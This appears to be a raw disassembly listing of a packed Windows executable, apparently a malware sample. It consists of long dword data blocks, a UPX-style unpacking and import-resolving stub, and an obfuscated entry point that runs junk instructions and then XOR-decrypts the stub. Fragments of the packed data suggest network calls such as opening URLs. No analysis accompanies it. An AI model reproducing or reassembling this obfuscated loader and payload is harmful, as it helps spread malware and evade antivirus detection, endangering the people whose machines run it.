dd 636F6C6Ch, 726F7461h, 32404440h, 74734040h, 51404064h
dd 413F4542h, 40323156h, 5A404949h, 663F0100h, 5F646E69h
dd 7473616Ch, 40666F5Fh, 6162243Fh, 5F636973h, 69727473h
dd 4440676Eh, 63243F55h, 5F726168h, 69617274h, 44407374h
dd 64747340h, 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh
dd 40403240h, 40647473h, 45425140h, 40494449h, 3F01005Ah
dd 736F706Eh, 62243F40h, 63697361h, 7274735Fh, 40676E69h
dd 243F5544h, 72616863h, 6172745Fh, 40737469h, 74734044h
dd 56404064h, 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h
dd 64747340h, 49324040h, 3F010042h, 243F343Fh, 69736162h
dd 74735F63h, 676E6972h, 3F554440h, 61686324h, 72745F72h
dd 73746961h, 73404440h, 40406474h, 61243F56h, 636F6C6Ch
dd 726F7461h, 32404440h, 74734040h, 51404064h, 41414541h
dd 40313056h, 30564241h, 5A404031h, 3F3F0100h, 62243F30h
dd 63697361h, 7274735Fh, 40676E69h, 243F5544h, 72616863h
dd 6172745Fh, 40737469h, 74734044h, 56404064h, 6C61243Fh
dd 61636F6Ch, 40726F74h, 40324044h, 64747340h, 41514040h
dd 42414045h, 40313056h, 1005A40h, 7373613Fh, 406E6769h
dd 6162243Fh, 5F636973h, 69727473h, 4440676Eh, 63243F55h
dd 5F726168h, 69617274h, 44407374h, 64747340h, 3F564040h
dd 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h, 40647473h
dd 45415140h, 31564141h, 42504032h, 5A4044h, 5F633F01h
dd 40727473h, 6162243Fh, 5F636973h, 69727473h, 4440676Eh
dd 63243F55h, 5F726168h, 69617274h, 44407374h, 64747340h
dd 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h
dd 40647473h, 45425140h, 58444250h, 3F01005Ah, 657A6973h
dd 62243F40h, 63697361h, 7274735Fh, 40676E69h, 243F5544h
dd 72616863h, 6172745Fh, 40737469h, 74734044h, 56404064h
dd 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h, 64747340h
dd 42514040h, 5A584945h, 3F3F0100h, 64747338h, 41594040h
dd 42414E5Fh, 62243F56h, 63697361h, 7274735Fh, 40676E69h
dd 243F5544h, 72616863h, 6172745Fh, 40737469h, 74734044h
dd 56404064h, 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h
dd 30403040h, 1005A40h, 3F343F3Fh, 73616224h, 735F6369h
dd 6E697274h, 55444067h, 6863243Fh, 745F7261h, 74696172h
dd 40444073h, 40647473h, 243F5640h, 6F6C6C61h, 6F746163h
dd 40444072h, 73404032h, 40406474h, 41454151h, 31305641h
dd 44425040h, 5A40h, 17Ch, 1219Ch, 72747301h, 7970636Eh
dd 74610100h, 1006C6Fh, 656D6974h, 74610100h, 100696Fh
dd 7274735Fh, 6D63696Eh, 5F010070h, 64727473h, 1007075h
dd 73626D5Fh, 727075h, 72747301h, 746163h, 48455F01h, 6F72705Fh
dd 676F6Ch, 6D656D01h, 797063h, 706F6601h, 1006E65h, 6C6C616Dh
dd 100636Fh, 73727473h, 1007274h, 6F6C6366h, 1006573h
dd 65657266h, 74660100h, 6C6C65h, 435F5F01h, 72467878h
dd 48656D61h, 6C646E61h, 1007265h, 7878435Fh, 6F726854h
dd 63784577h, 69747065h, 1006E6Fh, 69727073h, 66746Eh
dd 73637701h, 6E656Ch, 626D5F01h, 706D6373h, 73660100h
dd 6B6565h, 756F7401h, 72657070h, 74730100h, 6E656C72h
dd 74730100h, 79706372h, 6D5F0100h, 626E7362h, 797063h
dd 6D656D01h, 746573h, 6C616301h, 636F6Ch, 72747301h, 706D63h
dd 746D6701h, 656D69h, 626D5F01h, 72747373h, 3F3F0100h
dd 70797431h, 6E695F65h, 40406F66h, 40454155h, 1005A58h
dd 6C645F5Fh, 656E6F6Ch, 746978h, 6E6F5F01h, 74697865h
dd 655F0100h, 746978h, 63585F01h, 69467470h, 7265746Ch
dd 78650100h, 1007469h, 65675F5Fh, 69616D74h, 6772616Eh
dd 5F010073h, 646D6361h, 1006E6Ch, 696E695Fh, 72657474h
dd 5F01006Dh, 7465735Fh, 72657375h, 6874616Dh, 727265h
dd 64615F01h, 7473756Ah, 6964665Fh, 5F010076h, 5F5F705Fh
dd 6D6D6F63h, 65646Fh, 705F5F01h, 6D665F5Fh, 65646Fh, 735F5F01h
dd 615F7465h, 745F7070h, 657079h, 78655F01h, 74706563h
dd 6E61685Fh, 72656C64h, 66010033h, 64616572h, 635F0100h
dd 72746E6Fh, 70666C6Fh, 1870000h, 22A40000h, 43010001h
dd 696E556Fh, 6974696Eh, 7A696C61h, 4F010065h, 7552656Ch
dd 4301006Eh, 6572436Fh, 49657461h, 6174736Eh, 65636Eh
dd 496F4301h, 6974696Eh, 7A696C61h, 91000065h, 60000001h
dd 0FF000122h, 9FF000Ch, 8FF00h, 0FF0095FFh, 6FF0096h
dd 7FF00h, 0FF00C8FFh, 9E000002h, 88000001h, 1000122h
dd 69464853h, 704F656Ch, 74617265h, 416E6F69h, 1AA0000h
dd 22900000h, 43010001h, 5279706Fh, 746365h, 75714501h
dd 65526C61h, 1007463h, 72707377h, 66746E69h, 43010041h
dd 55726168h, 72657070h, 41h, 50000000h, 4C000045h, 40000401h
dd 480645h, 0
dd 0E0000000h, 0B010F00h, 601h, 120h, 0A0h, 1A000000h
dd 119h, 10h, 130h, 4200h, 10h, 4000010h, 0
dd 4000000h, 2 dup(0)
dd 1D0h, 10h, 2000000h, 0
dd 1000h, 10h, 1000h, 10h, 10000000h, 2 dup(0)
dd 30000000h, 0DC00015Eh, 0
dd 280001C0h, 3, 12h dup(0)
dd 0B8000130h, 2, 5 dup(0)
dd 2E000000h, 74786574h, 45000000h, 11Ah, 10h, 120h, 10h
dd 2 dup(0)
dd 20000000h, 2E600000h, 74616472h, 96000061h, 3Dh, 130h
dd 40h, 130h, 2 dup(0)
dd 40000000h, 2E400000h, 61746164h, 84000000h, 4Dh, 170h
dd 10h, 170h, 2 dup(0)
dd 40000000h, 2EC00000h, 63727372h, 28000000h, 3, 1C0h
dd 10h, 180h, 2 dup(0)
dd 40000000h, 400000h, 0C40001C0h, 161h, 1CB4300h, 7C903200h
dd 0C8F0A027h, 240E4B92h, 0BF02A10h, 30071196h, 0C85FC32Ah
dd 102EF937h, 0F8431C5Fh, 3149E102h, 5E183BF0h, 48014583h
dd 0A2A8FDD1h, 807148B2h, 0F0C90117h, 62102684h, 0DB1B8EA3h
dd 4EAA58D4h, 0F42E1720h, 593FFF25h, 500F18A9h, 45435641h
dd 70656378h, 6E6F6974h, 505EA8FEh, 6977DF69h, 0FF778A6Eh
dd 746501DFh, 6C6C642Eh, 746E4900h, 4F0C7265h, 0B26E6570h
dd 833981F7h, 6C72550Fh, 4AC91312h, 6C437FC5h, 4865736Fh
dd 13DA6E61h, 0FDCEAAB7h, 64616552h, 106946h, 504F1C25h
dd 0AA1D45DFh, 639F7A45h, 6F206372h, 0EDEDB1DCh, 2B202C6Bh
dd 6B617473h, 6C6F9328h, 7760FE25h, 61661BCFh, 3A6438h
dd 70695A1Fh, 0BF0A2928h, 23FB5FB7h, 26239E62h, 79725F72h
dd 3000563Dh, 7F7FFFB1h, 5832305Fh, 21C94217h, 12B3F2D3h
dd 8AB0222h, 0DB3F7766h, 0A363BFDEh, 75427469h, 0E35C419Ah
dd 73776F64h, 7F685EEBh, 64690067h, 696601CBh, 476FC65h
dd 61ADFB9Ch, 0BA000C73h, 64707577h, 0BB2BC461h, 87D557FDh
dd 657865F6h, 117563h, 0DB0E3068h, 530F9FB6h, 22502D61h
dd 0EB410B68h, 702ADFDCh, 61726170h, 0B36656Dh, 0FB6FBE66h
dd 0D6EAE08h, 75716557h, 13640469h, 7FB6C36Fh, 79656B0Fh
dd 0B75D376h, 746F6F1Fh, 7BA1611Eh, 466E9407h, 52570361h
dd 9B981B5Ch, 747886DDh, 1B0C0F87h, 855CEB0Eh, 2B696F46h
dd 0D86E6463h, 675DB6D6h, 1E1000C0h, 257735BEh, 651EAF93h
dd 494C4D58h, 90BB3680h, 473A7F00h, 63867341h, 6D742E4Fh
dd 94232063h, 4DDCF51Ch, 759142F6h, 7DB7746Ch, 31303003h
dd 0D2FFFFFFh, 38384130h, 37393337h, 32463541h, 37363034h
dd 46454535h, 35334434h, 6F6F97B6h, 3642391Eh, 3641331Ah
dd 43364446h, 0ADF64617h, 3127DFFDh, 36333531h, 43344341h
dd 41241438h, 2343637h, 0FFF6B5AEh, 36394544h, 33393031h
dd 3F443831h, 225B4912h, 2DB9CE7Bh, 7060058h, 0ADB6DD63h
dd 7E4331BDh, 43953672h, 2C304169h, 0A0BB7DB6h, 350F4244h
dd 74383242h, 0BA5B5F36h, 42A07B9Bh, 5B564431h, 34633037h
dd 0DDD737B5h, 63033D5h, 3073F232h, 50FE4437h, 0EFADDADBh
dd 0D43435FFh, 0E814175h, 822B70B4h, 12394628h, 270E8C38h
dd 0F2E1583h, 0BAE32035h, 0E4168061h, 5CAAEF72h, 0B09E3B72h
dd 56746BA9h, 4F525C8Dh, 687F5C74h, 0B6578CFCh, 7275435Ch
dd 4F53E44Ch, 2A8B5446h, 4157FE35h, 4D5C4552h, 0FE7ECA69h
dd 0C6521DC3h, 463FD703h, 6387A03h, 874B4400h, 0D55CE543h
dd 4F71A2Fh, 2CC7C6B9h, 24E6D33h, 0FF2C6036h, 6666613Fh
dd 535C4449h, 0E1ACA31h, 38478684h, 35B736E7h, 0F970BDB8h
dd 394335F7h, 453437D4h, 0ED423616h, 14686685h, 0CCF4CF43h
dd 31303944h, 0F0DDBB5Bh, 30363143h, 464443E7h, 2F333033h
dd 142D3417h, 2F38BA3Ah, 27322743h, 0B705438Ah, 9B38A171h
dd 461E3237h, 0C28E1417h, 542F6B42h, 87574249h, 4C30DA16h
dd 15FF8B78h, 99EE4C6Fh, 976DD59Ah, 0B4671BCCh, 14E4EEAAh
dd 5CFD63h, 6EBFADA4h, 272069E0h, 35656853h, 0EBD7B445h
dd 1706DAE7h, 0D732330Fh, 895FDB03h, 267403B2h, 69033D78h
dd 34C1ABF0h, 933D3870h, 25CC5547h, 833AEA4h, 91F7C26h
dd 96EB7AA3h, 4E746800h, 0A22F3A70h, 0FC3DD7B5h, 6D2E7277h
dd 6FBB626Bh, 85E937CFh, 2FDBB6ADh, 0AF6142DCh, 0E32E7570h
dd 1BAE027Ah, 1F3F0368h, 2781001Ah, 0B7484487h, 746C089h
dd 0DB0AB71Ah, 0F642067h, 6C6AD8D5h, 0F779EE4Bh, 20862B74h
dd 0DACDA36Dh, 993642Fh, 0D9626F3Ch, 1764B318h, 0D611F0Dh
dd 87C2B606h, 0FE757367h, 591A6943h, 20ADDD73h, 476F6DC2h
dd 2F1E1162h, 6D6856EEh, 3495AC23h, 6B536269h, 23196E5Dh
dd 82692217h, 0CD81A003h, 2F090740h, 0CCDE6705h, 20255B40h
dd 9E1B362Ch, 66D9B2Dh, 15653FD3h, 83596D33h, 636F4ABFh
dd 7974206Bh, 3129135Eh, 6F6D86CEh, 734C1A65h, 0B5B60DC7h
dd 449A3302h, 65201379h, 25ACBE17h, 6D797356h, 57736C52h
dd 0B586D6B5h, 5C4B268Bh, 0F4AD0FB4h, 0B36F3FD7h, 38736275h
dd 0E17931C1h, 0AC033580h, 20732AF1h, 0F6B58521h, 12E7B39Eh
dd 94B123CDh, 0FA4B6C25h, 21237B46h, 1F1A4760h, 61B3618Fh
dd 3F1DCB2Bh, 36476856h, 18651B64h, 0B8251634h, 0E3201706h
dd 8062FEDh, 0AF7B84A9h, 8A773235h, 0C3073BC6h, 9FB83AF6h
dd 20AA6E6Bh, 0FA736B91h, 8E685658h, 67CD6826h, 93B6135Ch
dd 7A1B2063h, 0EB4B243h, 20933717h, 63451168h, 4646CB07h
dd 0AB2BCD2Bh, 0C349ED27h, 0AB258D1Eh, 1035455h, 2EE66B0Dh
dd 7F0D2F2Eh, 0CE070CFDh, 49967F54h, 63637553h, 0DB7B96B6h
dd 1143008Eh, 45276E64h, 0DB638AEBh, 0F8B9A2CDh, 43009877h
dd 62E81C6Fh, 396306D7h, 0CB6F2F19h, 62C42820h, 73469890h
dd 7588CD3Fh, 6F7159D1h, 0A34FD38h, 451BD1EDh, 0F1E1D5F8h
dd 2BD869DAh, 53332253h, 5AA0568Dh, 58664FDBh, 5A1B0163h
dd 0B6B5EC1Bh, 2F531F99h, 0CCDC824Bh, 0D4C446D1h, 0D9B46B39h
dd 5A8B0D77h, 0F86B3425h, 0DB1EFB25h, 4CC674ADh, 67704161h
dd 0AB779BAFh, 43547764h, 4E192F9Eh, 203A455Ch, 67E6F891h
dd 92F76D75h, 0E7AA4C1Dh, 6B2D851Bh, 0FABAE7B4h, 2940CE64h
dd 759BEC9Dh, 93A585CDh, 0FF887925h, 6C0DAD0Ah, 21F53764h
dd 21B6E6CEh, 65671CEDh, 90660FFBh, 961BDA0Bh, 0AD2F976Ch
dd 0DB470454h, 6D67FBD8h, 3A7D5973h, 386B2361h, 35721164h
dd 90B70E9Fh, 735D1221h, 0B2DA445Ah, 6976DB59h, 235D7342h
dd 0E9A10DB2h, 8AC7F4D5h, 5AE6566Fh, 6DCFC958h, 22C3DBD0h
dd 0C816961Ch, 0DCE12C78h, 9B3C343Bh, 14E720FCh, 3ED6D1CBh
dd 2D7B7D1Ch, 692CB562h, 8B5CE1D6h, 6C0839ACh, 23473BBh
dd 0D86F4876h, 0DE2F6472h, 758E1836h, 6B7C7301h, 0F0332D96h
dd 610A4719h, 0A1142709h, 7818EE6Dh, 0D10634Ah, 0EDA99C0Dh
dd 17751409h, 98C948Ch, 644A1CDBh, 7B695767h, 0E3A3935Ah
dd 7967AC63h, 96E02C40h, 29E787B0h, 87775589h, 0C223A324h
dd 0EE37BAB2h, 66A42372h, 0C06C1B10h, 0F685EF0Fh, 593FB940h
dd 4897225Fh, 0EE526C54h, 0EC0E1200h, 3D603FFFh, 548FDF0Bh
dd 658E101Bh, 2B2B0008h, 5F3719D1h, 1AC5A012h, 38635F07h
dd 242504F9h, 0A0888D02h, 50050092h, 0A88D8481h, 0B7141908h
dd 1846140Dh, 43010420h, 1E283AD4h, 0C418ECFh, 4874048h
dd 0F1970179h, 10FBFB3h, 15746547h, 0C7A6953h, 7473614Ch
dd 41EC4556h, 76570D60h, 743C5133h, 13826944h, 84544179h
dd 111B2DFDh, 766F6D59h, 0E22B7611h, 415453D9h, 7562C174h
dd 200FFF2Dh, 471373DDh, 616D6E55h, 65695670h, 6E664F77h
dd 9A66DBB6h, 72A46E05h, 22483E73h, 82604DA0h, 6BDEC047h
dd 46FBDB5Dh, 6157316Fh, 0A3AC3CE2h, 4C10FB62h, 1E3726Fh
dd 141CC323h, 7B419ADBh, 0FB7C510Eh, 508A0C66h, 644163E1h
dd 9012ED64h, 0C043AA73h, 0CC366843h, 54E2897Dh, 693D4D6Fh
dd 4D747942h, 0B0DCC20Ah, 141F1596h, 5BADBAAEh, 701860C2h
dd 6CB267BBh, 0DDAF084Bh, 156372BCh, 0DDA4DBCh, 79C22CFBh
dd 78654E0Ah, 5002C5E4h, 74538EDBh, 849865Dh, 8802B3EDh
dd 646F4D10h
dd 0BADBA47Fh, 5450212Fh, 443E6D69h, 0D0764444h, 0C9ED65Eh
dd 7953169Bh, 8C25BD6Bh, 0C41589ACh, 542632F2h, 344EE8Ch
dd 0AA661E03h, 6A655438h, 0B6846F50h, 0F4A283Dh, 6D6B354Ch
dd 493BC553h, 64657511h, 0E0870D0Ah, 6D1263B6h, 0E64D0455h
dd 0B6CC0478h, 6E3DFE60h, 6BF141C5h, 2475C34Bh, 166D72D5h
dd 81ECD9D0h, 3E44A916h, 3E337B1Bh, 4449434Ch, 412C6879h
dd 6B24236Ah, 5B6A2709h, 82EED670h, 0A4679BDh, 69615709h
dd 8E6260B1h, 7E53C337h, 6A624F3Eh, 18184F85h, 971B8093h
dd 497EDBD2h, 614EE158h, 17DF4154h, 8C10ED8Ah, 65176835h
dd 2DA69C6Ch, 424D0Ah, 0A08E6740h, 4BB423D8h, 0E70C7965h
dd 75EEB901h, 0EEA450Bh, 26C0E353h, 0FFE730Ch, 2774200Bh
dd 1B516D6Bh, 5A002257h, 0F2CBE857h, 10FFDF6Fh, 212FF1Bh
dd 0ABFF164Eh, 0AD9EFF03h, 0F6F96563h, 39FF0BEDh, 0FF15C405h
dd 10211433h, 0BE9A9CFFh, 1CF2DB2Dh, 205AFF02h, 0B175C02h
dd 19FF0959h, 0DF76EFBBh, 33705h, 21404764h, 73693F9Fh
dd 40936F5Fh, 47FDC69h, 40BE66A0h, 45425140h, 1A5A5848h
dd 0EB593FFEh, 1617640Eh, 41414541h, 50403156h, 40484441h
dd 0FC546DACh, 9E63671Eh, 0EC372074h, 63A6F65Bh, 583950F0h
dd 591B50h, 445F3F7Bh, 452D7E15h, 50B6B3ECh, 73646342h
dd 6F865F68h, 2047200Dh, 48324C2Fh, 84C8A042h, 4830497Dh
dd 6B593B40h, 7B76DFA6h, 0E67000C2h, 0A47D2C6Dh, 3F313F68h
dd 0B673C024h, 0BB69AD5Fh, 40E936C1h, 63105544h, 0DA0E5F93h
dd 0FF0CDDADh, 18404433h, 15564066h, 2A330AEDh, 3213F16Dh
dd 0B732A940h, 786316ECh, 8567B47h, 644241D9h, 6275EA53h
dd 0A2DB0C9Bh, 0F85F40ACh, 76B8A43Fh, 49B6DD8Ch, 0C3665349h
dd 56446C5Fh, 0E42D954Ah, 54675966h, 7856517Ch, 4C63706Eh
dd 0E8424932h, 4B3C9518h, 2309034h, 3D50CE84h, 9E400550h
dd 0B61851B8h, 6730374Dh, 8538716Eh, 9136374Ah, 0CC468400h
dd 0E58154D3h, 370C4557h, 71028F4Dh, 0D804AAC6h, 91138DAh
dd 59EA8F86h, 514E5F41h, 8408109Ah, 14030EDh, 9C34DC5Ah
dd 0C936E9A6h, 6E3C9C7Ch, 0CD4D6C1h, 6C3C08B7h, 0F4BB7405h
dd 0BBAEF96h, 0E11B5F69h, 5A0A706Dh, 0A7302BE9h, 7546D08h
dd 0E126E5Bh, 19105586h, 76B6C65Fh, 6F3A0F6Bh, 6D3A0B67h
dd 162E664Ah, 0E82BDC9h, 0C6022A94h, 1672C5C0h, 66BC07C8h
dd 56BBE88h, 5F3F1E97h, 46787843h, 9849B9FBh, 11275C94h
dd 0CD536854h, 77688B0Dh, 0CC6343FBh, 0FF075BC1h, 63770866h
dd 3A88CE73h, 9AD8D003h, 6FB8D866h, 0D6B3620Ch, 20987596h
dd 0EF7B5D8Fh, 626E28D9h, 0B32C9F0Ah, 0B1D9BD63h, 67429865h
dd 5D2AF66Dh, 0A9EBD002h, 25588DEh, 0AC66EB91h, 993764AAh
dd 0DEC960DAh, 608F769h, 2C1D6258h, 0A3A82712h, 96675F12h
dd 6DA15A80h, 73FD4404h, 0EB5AF401h, 406C610Eh, 0BDD689BAh
dd 6D27C6CEh, 3759022h, 78175D8Eh, 0FC0568EDh, 5F756A9Ch
dd 0D0035066h, 766964EFh, 0DA5F701Fh, 33B0DC6Dh, 660D3B43h
dd 0C43E390Bh, 0F32CD6DEh, 2C86A95Fh, 5AE6685Fh, 33451384h
dd 3E184B66h, 850D134Dh, 4666A038h, 5404A487h, 8922A3E8h
dd 0B60DEA6Fh, 684C828Fh, 7C52324Fh, 789312A0h, 0EEEE3117h
dd 0A88C5F65h, 274911h, 0B2CB4091h, 0FF609B6Ch, 809020Ch
dd 0CB6D9695h, 7062CB2h, 9E1F02C8h, 0D7E27861h, 53648823h
dd 954FD648h, 60EEB30Bh, 1AAA006Bh, 528F7F90h, 163DACE1h
dd 75714518h, 0E4770A5Bh, 51E0E87h, 0CF5549D4h, 73F6C140h
dd 45500034h, 7F84C03h, 4043BE0Bh, 0C6480645h, 10F00E0h
dd 9A06010Bh, 17B1D9EEh, 1A13A000h, 30100B19h, 2FB3759Bh
dd 30B4230h, 33071E04h, 2766F7h, 0B20027D0h, 37B2F624h
dd 60710B0h, 2F5E3000h, 0DF6E2100h, 7C008DCh, 0E8480328h
dd 0A7ADDB0Ah, 2E4F02B8h, 6BB66F61h, 451E74C4h, 98EBAF1Ah
dd 2F0DA08Eh, 722E9212h, 0C1B059B9h, 3D96086Eh, 740FBh
dd 6FD9F758h, 262E4012h, 44D8400h, 6D2B4B70h, 27703653h
dd 1A734FC0h, 0D836561Ah, 27C0EB98h, 4F80h, 0C41BFDFEh
dd 0CB431761h, 90001h, 0FF0000h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_43E970: ; DATA XREF: start:loc_43EBCDo
pusha
mov esi, offset dword_436000
lea edi, [esi-15000h]
push edi
or ebp, 0FFFFFFFFh
jmp short loc_43E992
; ---------------------------------------------------------------------------
align 8
loc_43E988: ; CODE XREF: TEUm:loc_43E999j
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_43E98E: ; CODE XREF: TEUm:0043EA26j
; TEUm:0043EA3Dj
add ebx, ebx
jnz short loc_43E999
loc_43E992: ; CODE XREF: TEUm:0043E980j
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_43E999: ; CODE XREF: TEUm:0043E990j
jb short loc_43E988
mov eax, 1
loc_43E9A0: ; CODE XREF: TEUm:0043E9AFj
; TEUm:0043E9BAj
add ebx, ebx
jnz short loc_43E9AB
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_43E9AB: ; CODE XREF: TEUm:0043E9A2j
adc eax, eax
add ebx, ebx
jnb short loc_43E9A0
jnz short loc_43E9BC
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
jnb short loc_43E9A0
loc_43E9BC: ; CODE XREF: TEUm:0043E9B1j
xor ecx, ecx
sub eax, 3
jb short loc_43E9D0
shl eax, 8
mov al, [esi]
inc esi
xor eax, 0FFFFFFFFh
jz short loc_43EA42
mov ebp, eax
loc_43E9D0: ; CODE XREF: TEUm:0043E9C1j
add ebx, ebx
jnz short loc_43E9DB
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_43E9DB: ; CODE XREF: TEUm:0043E9D2j
adc ecx, ecx
add ebx, ebx
jnz short loc_43E9E8
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_43E9E8: ; CODE XREF: TEUm:0043E9DFj
adc ecx, ecx
jnz short loc_43EA0C
inc ecx
loc_43E9ED: ; CODE XREF: TEUm:0043E9FCj
; TEUm:0043EA07j
add ebx, ebx
jnz short loc_43E9F8
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_43E9F8: ; CODE XREF: TEUm:0043E9EFj
adc ecx, ecx
add ebx, ebx
jnb short loc_43E9ED
jnz short loc_43EA09
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
jnb short loc_43E9ED
loc_43EA09: ; CODE XREF: TEUm:0043E9FEj
add ecx, 2
loc_43EA0C: ; CODE XREF: TEUm:0043E9EAj
cmp ebp, 0FFFFF300h
adc ecx, 1
lea edx, [edi+ebp]
cmp ebp, 0FFFFFFFCh
jbe short loc_43EA2C
loc_43EA1D: ; CODE XREF: TEUm:0043EA24j
mov al, [edx]
inc edx
mov [edi], al
inc edi
dec ecx
jnz short loc_43EA1D
jmp loc_43E98E
; ---------------------------------------------------------------------------
align 4
loc_43EA2C: ; CODE XREF: TEUm:0043EA1Bj
; TEUm:0043EA39j
mov eax, [edx]
add edx, 4
mov [edi], eax
add edi, 4
sub ecx, 4
ja short loc_43EA2C
add edi, ecx
jmp loc_43E98E
; ---------------------------------------------------------------------------
loc_43EA42: ; CODE XREF: TEUm:0043E9CCj
pop esi
mov edi, esi
mov ecx, 755h
loc_43EA4A: ; CODE XREF: TEUm:0043EA51j
; TEUm:0043EA56j
mov al, [edi]
inc edi
sub al, 0E8h
loc_43EA4F: ; CODE XREF: TEUm:0043EA74j
cmp al, 1
ja short loc_43EA4A
cmp byte ptr [edi], 6
jnz short loc_43EA4A
mov eax, [edi]
mov bl, [edi+4]
shr ax, 8
rol eax, 10h
xchg al, ah
sub eax, edi
sub bl, 0E8h
add eax, esi
mov [edi], eax
add edi, 5
mov al, bl
loop loc_43EA4F
lea edi, [esi+1C000h]
loc_43EA7C: ; CODE XREF: TEUm:0043EA9Ej
mov eax, [edi]
or eax, eax
jz short loc_43EAC7
mov ebx, [edi+4]
lea eax, [eax+esi+1E324h]
add ebx, esi
push eax
add edi, 8
call dword ptr [esi+1E400h]
xchg eax, ebp
loc_43EA99: ; CODE XREF: TEUm:0043EABFj
mov al, [edi]
inc edi
or al, al
jz short loc_43EA7C
mov ecx, edi
jns short near ptr loc_43EAAA+1
movzx eax, word ptr [edi]
inc edi
push eax
inc edi
loc_43EAAA: ; CODE XREF: TEUm:0043EAA2j
mov ecx, 0AEF24857h
push ebp
call dword ptr [esi+1E404h]
or eax, eax
jz short loc_43EAC1
mov [ebx], eax
add ebx, 4
jmp short loc_43EA99
; ---------------------------------------------------------------------------
loc_43EAC1: ; CODE XREF: TEUm:0043EAB8j
call dword ptr [esi+1E414h]
loc_43EAC7: ; CODE XREF: TEUm:0043EA80j
mov ebp, [esi+1E408h]
lea edi, [esi-1000h]
mov ebx, 1000h
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi+1FFh]
and byte ptr [eax], 7Fh
and byte ptr [eax+28h], 7Fh
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popa
lea eax, [esp-80h]
loc_43EAFB: ; CODE XREF: TEUm:0043EAFFj
push 0
cmp esp, eax
jnz short loc_43EAFB
sub esp, 0FFFFFF80h
jmp loc_43191A
; ---------------------------------------------------------------------------
align 4
dd 8 dup(0)
db 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
cmp al, dh
db 64h
sbb al, 3Bh
shrd edx, ebp, cl
shld ecx, eax, 0F4h
test eax, 1E378415h
xchg ecx, eax
mov esi, 3ED7A4B5h
not ecx
xchg esi, ecx
rcr ah, cl
movzx ebx, cx
imul ecx, eax
lea edi, ds:168FBCADh
and ecx, edi
imul edi, esi, 362FDC4Dh
shl ecx, 6Ch
inc esi
shrd ebp, edi, cl
sal ebx, 0F9h
shrd eax, ebx, cl
not esi
test dh, 83h
movsx edx, al
db 2Eh
lea edi, cs:0C6FFEC9Dh
mov ecx, edi
test eax, 0E69F0C3Dh
inc ecx
adc esi, 63F2CDDh
and ecx, 81168FBCh
dec al
shld edi, esi, 4Dh
not esi
bsr ebp, edi
xor ebx, ecx
and ecx, 0F9EE47D4h
bswap eax
repne sbb ah, dl
imul ebx, edx
and ecx, 0A1B6AF5Ch
rep adc esi, ebp
db 65h
bsf ebx, edx
imul ecx, eax
test eax, 8E6774C5h
and ecx, 0E99EB704h
jmp short loc_43EBCD
; ---------------------------------------------------------------------------
locret_43EBCC: ; CODE XREF: start+C4j
retn
; ---------------------------------------------------------------------------
loc_43EBCD: ; CODE XREF: start+9Dj
mov edx, offset loc_43E970
push edx
mov ecx, 0C0h
loc_43EBD8: ; CODE XREF: start+C2j
xor dword ptr [edx], 10EB28h
push ecx
xor ecx, ecx
mov ecx, 4
loc_43EBE6: ; CODE XREF: start+BCj
add edx, 1
loop loc_43EBE6
pop ecx
sub ecx, 3
loop loc_43EBD8
jmp short locret_43EBCC
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 800h
TEUm ends
; Section 4. (virtual address 00020000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00020000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 440000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start